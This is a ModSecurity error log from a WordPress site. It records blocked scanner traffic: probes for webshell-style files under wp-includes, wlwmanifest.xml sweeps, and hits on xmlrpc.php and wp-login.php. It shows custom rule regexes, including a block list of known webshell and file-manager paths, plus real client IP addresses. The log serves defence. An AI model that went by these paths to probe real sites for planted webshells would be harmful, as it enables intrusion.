[Fri Nov 21 16:59:15.033966 2025] [:error] [pid 25430:tid 25480] [client 136.144.42.79:31791] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aSAp46pnWJcWt_4foXlZiAAAAFQ"]
[Fri Nov 21 16:59:15.911395 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.93:27559] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSAp4z4rZbRSr7vu-NO_DwAAAAg"]
[Fri Nov 21 16:59:17.229995 2025] [:error] [pid 46939:tid 46943] [client 136.144.42.70:58931] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aSAp5e0OmVoxD4VZ_ZmTSAAAAUE"]
[Fri Nov 21 16:59:22.211831 2025] [:error] [pid 25431:tid 25492] [client 172.98.32.79:54229] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aSAp6sklhXxmoIExII1O4wAAAIU"]
[Fri Nov 21 16:59:23.518828 2025] [:error] [pid 46939:tid 46947] [client 136.144.42.79:25215] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aSAp6-0OmVoxD4VZ_ZmTWwAAAUU"]
[Fri Nov 21 16:59:25.296982 2025] [:error] [pid 25554:tid 25572] [client 45.132.227.62:32305] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aSAp7R-NtB-9AzFZrk5t6QAAAQ4"]
[Fri Nov 21 16:59:26.196903 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.99:38303] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aSAp7u0OmVoxD4VZ_ZmTYAAAAUM"]
[Fri Nov 21 16:59:27.090585 2025] [:error] [pid 25431:tid 25488] [client 172.98.32.90:42499] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aSAp78klhXxmoIExII1O5wAAAIE"]
[Fri Nov 21 18:45:33.788649 2025] [:error] [pid 25554:tid 25561] [client 104.28.240.82:14923] [client 104.28.240.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.240.82, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSBCzR-NtB-9AzFZrk6L1AAAAQM"]
[Fri Nov 21 20:50:39.641291 2025] [:error] [pid 25430:tid 25484] [client 85.8.130.71:49847] [client 85.8.130.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.71, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSBgH6pnWJcWt_4foXmSbwAAAFg"]
[Sat Nov 22 03:53:06.254869 2025] [:error] [pid 53477:tid 53503] [client 103.167.150.158:58312] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSDDIn7Lu30Ku9O40aKiNAAAABY"]
[Sat Nov 22 04:12:49.099015 2025] [:error] [pid 53477:tid 53483] [client 103.59.160.179:49969] [client 103.59.160.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.59.160.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSDHwX7Lu30Ku9O40aKo-wAAAAI"]
[Sat Nov 22 04:12:49.193239 2025] [:error] [pid 53566:tid 53580] [client 103.59.160.179:49964] [client 103.59.160.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.59.160.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSDHwcbSHDBkRbwMbd76uAAAAMw"]
[Sat Nov 22 04:12:49.276312 2025] [:error] [pid 53477:tid 53501] [client 103.59.160.179:49969] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwX7Lu30Ku9O40aKo_QAAABQ"]
[Sat Nov 22 04:12:49.327696 2025] [:error] [pid 53566:tid 53572] [client 103.59.160.179:49964] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwcbSHDBkRbwMbd76ugAAAMQ"]
[Sat Nov 22 04:12:49.713227 2025] [:error] [pid 53478:tid 53523] [client 103.59.160.179:50255] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwQhUYdXBbQswAdTbGwAAAE4"]
[Sat Nov 22 04:12:49.779726 2025] [:error] [pid 53478:tid 53532] [client 103.59.160.179:50281] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwQhUYdXBbQswAdTbHQAAAFc"]
[Sat Nov 22 04:12:50.170445 2025] [:error] [pid 53478:tid 53510] [client 103.59.160.179:50426] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwghUYdXBbQswAdTbIAAAAEE"]
[Sat Nov 22 04:12:50.241404 2025] [:error] [pid 53566:tid 53575] [client 103.59.160.179:50457] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwsbSHDBkRbwMbd76vgAAAMc"]
[Sat Nov 22 04:12:50.609204 2025] [:error] [pid 53478:tid 53520] [client 103.59.160.179:50576] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwghUYdXBbQswAdTbIQAAAEs"]
[Sat Nov 22 04:12:50.701398 2025] [:error] [pid 53478:tid 53514] [client 103.59.160.179:50619] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aSDHwghUYdXBbQswAdTbIwAAAEU"]
[Sat Nov 22 04:12:51.081899 2025] [:error] [pid 53479:tid 53548] [client 103.59.160.179:50751] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aSDHw26cicFF3Aas-oRDZQAAAIw"]
[Sat Nov 22 04:12:51.172023 2025] [:error] [pid 53566:tid 53573] [client 103.59.160.179:50784] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aSDHw8bSHDBkRbwMbd76wwAAAMU"]
[Sat Nov 22 04:12:51.518329 2025] [:error] [pid 53566:tid 53574] [client 103.59.160.179:50915] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aSDHw8bSHDBkRbwMbd76xQAAAMY"]
[Sat Nov 22 04:12:51.609149 2025] [:error] [pid 53566:tid 53584] [client 103.59.160.179:50972] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aSDHw8bSHDBkRbwMbd76xwAAANA"]
[Sat Nov 22 04:12:52.000795 2025] [:error] [pid 53477:tid 53487] [client 103.59.160.179:51090] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "aSDHw37Lu30Ku9O40aKpAgAAAAY"]
[Sat Nov 22 04:12:52.108776 2025] [:error] [pid 53479:tid 53545] [client 103.59.160.179:51134] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxG6cicFF3Aas-oRDawAAAIk"]
[Sat Nov 22 04:12:52.473219 2025] [:error] [pid 53479:tid 53539] [client 103.59.160.179:51271] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxG6cicFF3Aas-oRDbAAAAIM"]
[Sat Nov 22 04:12:52.583786 2025] [:error] [pid 53477:tid 53497] [client 103.59.160.179:51336] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxH7Lu30Ku9O40aKpBQAAABA"]
[Sat Nov 22 04:12:52.912623 2025] [:error] [pid 53478:tid 53532] [client 103.59.160.179:51457] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxAhUYdXBbQswAdTbKQAAAFc"]
[Sat Nov 22 04:12:53.072684 2025] [:error] [pid 53478:tid 53521] [client 103.59.160.179:51497] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxQhUYdXBbQswAdTbKgAAAEw"]
[Sat Nov 22 04:12:53.431120 2025] [:error] [pid 53477:tid 53485] [client 103.59.160.179:51625] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxX7Lu30Ku9O40aKpCgAAAAQ"]
[Sat Nov 22 04:12:53.512463 2025] [:error] [pid 53566:tid 53588] [client 103.59.160.179:51645] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxcbSHDBkRbwMbd760wAAANQ"]
[Sat Nov 22 04:12:53.932198 2025] [:error] [pid 53478:tid 53510] [client 103.59.160.179:51786] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxQhUYdXBbQswAdTbLQAAAEE"]
[Sat Nov 22 04:12:53.992948 2025] [:error] [pid 53479:tid 53544] [client 103.59.160.179:51802] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxW6cicFF3Aas-oRDcQAAAIg"]
[Sat Nov 22 04:12:54.427855 2025] [:error] [pid 53479:tid 53553] [client 103.59.160.179:51943] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxm6cicFF3Aas-oRDdAAAAJE"]
[Sat Nov 22 04:12:54.431328 2025] [:error] [pid 53479:tid 53538] [client 103.59.160.179:51953] [client 103.59.160.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSDHxm6cicFF3Aas-oRDdQAAAII"]
[Sat Nov 22 06:56:18.499353 2025] [:error] [pid 53478:tid 53518] [client 31.171.130.55:64851] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSDuEghUYdXBbQswAdQ-0gAAAEk"]
[Sat Nov 22 06:56:21.023237 2025] [:error] [pid 53566:tid 53578] [client 31.171.130.93:21863] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSDuFcbSHDBkRbwMbd5mtgAAAMo"]
[Sat Nov 22 06:56:24.796641 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.70:49107] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSDuGNClOR5qk7DoMeGk1gAAAUg"]
[Sat Nov 22 06:56:26.699306 2025] [:error] [pid 25856:tid 25861] [client 31.171.130.100:62067] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSDuGhsTP0wy94zKUvHmLwAAAQM"]
[Sat Nov 22 06:56:27.643865 2025] [:error] [pid 25856:tid 25861] [client 31.171.130.105:29291] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSDuGxsTP0wy94zKUvHmPwAAAQM"]
[Sat Nov 22 06:56:28.621708 2025] [:error] [pid 53566:tid 53577] [client 31.171.130.88:20739] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSDuHMbSHDBkRbwMbd5mzQAAAMk"]
[Sat Nov 22 06:56:31.090965 2025] [:error] [pid 53478:tid 53517] [client 31.171.130.100:53405] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSDuHwhUYdXBbQswAdQ_TAAAAEg"]
[Sat Nov 22 06:56:31.351765 2025] [:error] [pid 53477:tid 53497] [client 212.116.231.26:43794] [client 212.116.231.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSDuH37Lu30Ku9O40aIGRwAAABA"]
[Sat Nov 22 06:56:32.582462 2025] [:error] [pid 53477:tid 53495] [client 31.171.130.73:27947] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSDuIH7Lu30Ku9O40aIGWAAAAA4"]
[Sat Nov 22 06:56:33.408329 2025] [:error] [pid 25856:tid 25879] [client 212.116.231.26:58648] [client 212.116.231.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSDuIRsTP0wy94zKUvHmegAAARU"]
[Sat Nov 22 06:56:35.092358 2025] [:error] [pid 25856:tid 25872] [client 212.116.231.26:59108] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aSDuIxsTP0wy94zKUvHmjAAAAQ4"]
[Sat Nov 22 06:56:35.902663 2025] [:error] [pid 53478:tid 53529] [client 212.116.231.26:59584] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aSDuIwhUYdXBbQswAdQ_lQAAAFQ"]
[Sat Nov 22 06:56:36.718759 2025] [:error] [pid 9547:tid 9556] [client 212.116.231.26:59852] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aSDuJNClOR5qk7DoMeGlHgAAAUM"]
[Sat Nov 22 06:56:37.103246 2025] [:error] [pid 53478:tid 53529] [client 31.171.130.55:51231] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSDuJQhUYdXBbQswAdQ_pgAAAFQ"]
[Sat Nov 22 06:56:37.533893 2025] [:error] [pid 9547:tid 9575] [client 212.116.231.26:60182] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aSDuJdClOR5qk7DoMeGlJgAAAVY"]
